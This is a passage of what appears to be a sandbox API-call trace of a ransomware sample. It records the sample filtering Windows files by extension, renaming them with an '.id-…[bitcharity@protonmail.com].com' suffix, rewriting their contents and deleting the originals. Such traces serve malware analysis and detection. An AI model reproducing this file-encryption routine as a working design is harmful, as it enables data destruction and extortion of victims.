(lpString=".zip") returned 4 [0142.365] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0142.365] lstrlenW (lpString=".rar") returned 4 [0142.365] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString=".bz2") returned 4 [0142.365] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString=".7z") returned 3 [0142.365] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0142.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.365] lstrlenW (lpString=".dbf") returned 4 [0142.365] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.365] lstrlenW (lpString=".1cd") returned 4 [0142.365] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.365] lstrlenW (lpString=".jpg") returned 4 [0142.365] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0142.365] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0142.365] lstrlenW (lpString="ipssve.xml") returned 10 [0142.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.352] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2520) returned 1 [0143.352] CloseHandle (hObject=0x1038) returned 1 [0143.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0143.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.352] lstrlenW (lpString=".doc") returned 4 [0143.352] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0143.352] lstrlenW (lpString=".docx") returned 5 [0143.352] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0143.352] lstrlenW (lpString=".pdf") returned 4 [0143.352] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0143.352] lstrlenW (lpString=".xls") returned 4 [0143.352] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0143.352] lstrlenW (lpString=".xlsx") returned 5 [0143.352] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0143.352] lstrlenW (lpString=".ppt") returned 4 [0143.352] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0143.352] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.353] lstrlenW (lpString=".zip") returned 4 [0143.353] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0143.353] lstrlenW (lpString=".rar") returned 4 [0143.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString=".bz2") returned 4 [0143.353] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString=".7z") returned 3 [0143.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.353] lstrlenW (lpString=".dbf") returned 4 [0143.353] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.353] lstrlenW (lpString=".1cd") returned 4 [0143.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.353] lstrlenW (lpString=".jpg") returned 4 [0143.353] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.353] lstrlenW (lpString=".doc") returned 4 [0143.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString=".docx") returned 5 [0143.353] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0143.353] lstrlenW (lpString=".pdf") returned 4 [0143.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString=".xls") returned 4 [0143.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0143.353] lstrlenW (lpString=".xlsx") returned 5 [0143.353] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0143.354] lstrlenW (lpString=".ppt") returned 4 [0143.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.354] lstrlenW (lpString=".zip") returned 4 [0143.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0143.354] lstrlenW (lpString=".rar") returned 4 [0143.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0143.354] lstrlenW (lpString=".bz2") returned 4 [0143.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0143.354] lstrlenW (lpString=".7z") returned 3 [0143.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.354] lstrlenW (lpString=".dbf") returned 4 [0143.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.354] lstrlenW (lpString=".1cd") returned 4 [0143.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0143.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0143.354] lstrlenW (lpString=".jpg") returned 4 [0143.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0143.354] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0143.354] lstrlenW (lpString="Bears.htm") returned 9 [0143.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.391] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=255) returned 1 [0143.392] CloseHandle (hObject=0x1038) returned 1 [0143.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0143.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.392] lstrlenW (lpString=".doc") returned 4 [0143.392] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.392] lstrlenW (lpString=".docx") returned 5 [0143.392] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0143.392] lstrlenW (lpString=".pdf") returned 4 [0143.392] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.392] lstrlenW (lpString=".xls") returned 4 [0143.392] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.392] lstrlenW (lpString=".xlsx") returned 5 [0143.392] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0143.392] lstrlenW (lpString=".ppt") returned 4 [0143.392] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.393] lstrlenW (lpString=".zip") returned 4 [0143.393] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.393] lstrlenW (lpString=".rar") returned 4 [0143.393] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.393] lstrlenW (lpString=".bz2") returned 4 [0143.393] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.393] lstrlenW (lpString=".7z") returned 3 [0143.393] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.393] lstrlenW (lpString=".dbf") returned 4 [0143.393] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.393] lstrlenW (lpString=".1cd") returned 4 [0143.393] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.393] lstrlenW (lpString=".jpg") returned 4 [0143.393] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.393] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.393] lstrlenW (lpString=".doc") returned 4 [0143.393] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0143.393] lstrlenW (lpString=".docx") returned 5 [0143.393] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0143.393] lstrlenW (lpString=".pdf") returned 4 [0143.393] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0143.393] lstrlenW (lpString=".xls") returned 4 [0143.393] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0143.393] lstrlenW (lpString=".xlsx") returned 5 [0143.393] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0143.394] lstrlenW (lpString=".ppt") returned 4 [0143.394] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0143.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.394] lstrlenW (lpString=".zip") returned 4 [0143.394] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0143.394] lstrlenW (lpString=".rar") returned 4 [0143.394] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0143.394] lstrlenW (lpString=".bz2") returned 4 [0143.394] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0143.394] lstrlenW (lpString=".7z") returned 3 [0143.394] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0143.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.394] lstrlenW (lpString=".dbf") returned 4 [0143.394] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0143.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.394] lstrlenW (lpString=".1cd") returned 4 [0143.394] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0143.394] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 67 [0143.394] lstrlenW (lpString=".jpg") returned 4 [0143.394] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0143.394] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0143.394] lstrlenW (lpString="Bears.jpg") returned 9 [0143.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.424] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=1074) returned 1 [0143.424] CloseHandle (hObject=0x1038) returned 1 [0143.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0143.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0143.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.424] lstrlenW (lpString=".doc") returned 4 [0143.424] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0143.424] lstrlenW (lpString=".docx") returned 5 [0143.424] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0143.424] lstrlenW (lpString=".pdf") returned 4 [0143.424] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0143.424] lstrlenW (lpString=".xls") returned 4 [0143.424] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0143.424] lstrlenW (lpString=".xlsx") returned 5 [0143.424] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0143.425] lstrlenW (lpString=".ppt") returned 4 [0143.425] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0143.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.425] lstrlenW (lpString=".zip") returned 4 [0143.425] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0143.425] lstrlenW (lpString=".rar") returned 4 [0143.425] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0143.425] lstrlenW (lpString=".bz2") returned 4 [0143.425] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0143.425] lstrlenW (lpString=".7z") returned 3 [0143.425] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0143.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.425] lstrlenW (lpString=".dbf") returned 4 [0143.425] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0143.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.425] lstrlenW (lpString=".1cd") returned 4 [0143.425] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0143.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.425] lstrlenW (lpString=".jpg") returned 4 [0143.425] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0143.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.425] lstrlenW (lpString=".doc") returned 4 [0143.425] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0143.425] lstrlenW (lpString=".docx") returned 5 [0143.425] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0143.425] lstrlenW (lpString=".pdf") returned 4 [0143.425] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0143.425] lstrlenW (lpString=".xls") returned 4 [0143.426] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0143.426] lstrlenW (lpString=".xlsx") returned 5 [0143.426] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0143.426] lstrlenW (lpString=".ppt") returned 4 [0143.426] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.426] lstrlenW (lpString=".zip") returned 4 [0143.426] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0143.426] lstrlenW (lpString=".rar") returned 4 [0143.426] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0143.426] lstrlenW (lpString=".bz2") returned 4 [0143.426] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0143.426] lstrlenW (lpString=".7z") returned 3 [0143.426] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.426] lstrlenW (lpString=".dbf") returned 4 [0143.426] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.426] lstrlenW (lpString=".1cd") returned 4 [0143.426] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0143.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 67 [0143.426] lstrlenW (lpString=".jpg") returned 4 [0143.426] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0143.426] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0143.426] lstrlenW (lpString="Desktop.ini") returned 11 [0143.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.629] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=645) returned 1 [0143.629] CloseHandle (hObject=0x1038) returned 1 [0143.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0143.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0143.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0143.629] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.629] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0143.636] GetLastError () returned 0x0 [0143.636] ReadFile (in: hFile=0x1038, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x285, lpOverlapped=0x0) returned 1 [0143.643] WriteFile (in: hFile=0x10a8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0x290, lpOverlapped=0x0) returned 1 [0143.644] ReadFile (in: hFile=0x1038, lpBuffer=0x3bf2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x320fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesRead=0x320fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.644] WriteFile (in: hFile=0x10a8, lpBuffer=0x3bf2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x320fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bf2020*, lpNumberOfBytesWritten=0x320fc94*=0xea, lpOverlapped=0x0) returned 1 [0143.644] SetEndOfFile (hFile=0x10a8) returned 1 [0143.644] CloseHandle (hObject=0x10a8) returned 1 [0143.645] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x320fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.645] SetEndOfFile (hFile=0x1038) returned 1 [0143.646] CloseHandle (hObject=0x1038) returned 1 [0143.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x26) returned 1 [0143.646] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0143.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.647] lstrlenW (lpString=".doc") returned 4 [0143.647] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0143.647] lstrlenW (lpString=".docx") returned 5 [0143.647] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0143.647] lstrlenW (lpString=".pdf") returned 4 [0143.647] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0143.647] lstrlenW (lpString=".xls") returned 4 [0143.647] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0143.647] lstrlenW (lpString=".xlsx") returned 5 [0143.647] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0143.647] lstrlenW (lpString=".ppt") returned 4 [0143.647] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0143.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.647] lstrlenW (lpString=".zip") returned 4 [0143.647] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0143.647] lstrlenW (lpString=".rar") returned 4 [0143.648] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0143.648] lstrlenW (lpString=".bz2") returned 4 [0143.648] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0143.648] lstrlenW (lpString=".7z") returned 3 [0143.648] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0143.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.648] lstrlenW (lpString=".dbf") returned 4 [0143.648] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0143.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.648] lstrlenW (lpString=".1cd") returned 4 [0143.648] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0143.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.648] lstrlenW (lpString=".jpg") returned 4 [0143.648] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0143.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.648] lstrlenW (lpString=".doc") returned 4 [0143.649] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0143.649] lstrlenW (lpString=".docx") returned 5 [0143.649] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0143.649] lstrlenW (lpString=".pdf") returned 4 [0143.649] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0143.649] lstrlenW (lpString=".xls") returned 4 [0143.649] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0143.649] lstrlenW (lpString=".xlsx") returned 5 [0143.649] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0143.649] lstrlenW (lpString=".ppt") returned 4 [0143.649] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0143.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.649] lstrlenW (lpString=".zip") returned 4 [0143.649] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0143.649] lstrlenW (lpString=".rar") returned 4 [0143.649] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0143.649] lstrlenW (lpString=".bz2") returned 4 [0143.649] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0143.649] lstrlenW (lpString=".7z") returned 3 [0143.649] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0143.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.649] lstrlenW (lpString=".dbf") returned 4 [0143.649] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0143.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.649] lstrlenW (lpString=".1cd") returned 4 [0143.649] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0143.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0143.650] lstrlenW (lpString=".jpg") returned 4 [0143.650] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0143.650] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0143.650] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0143.650] 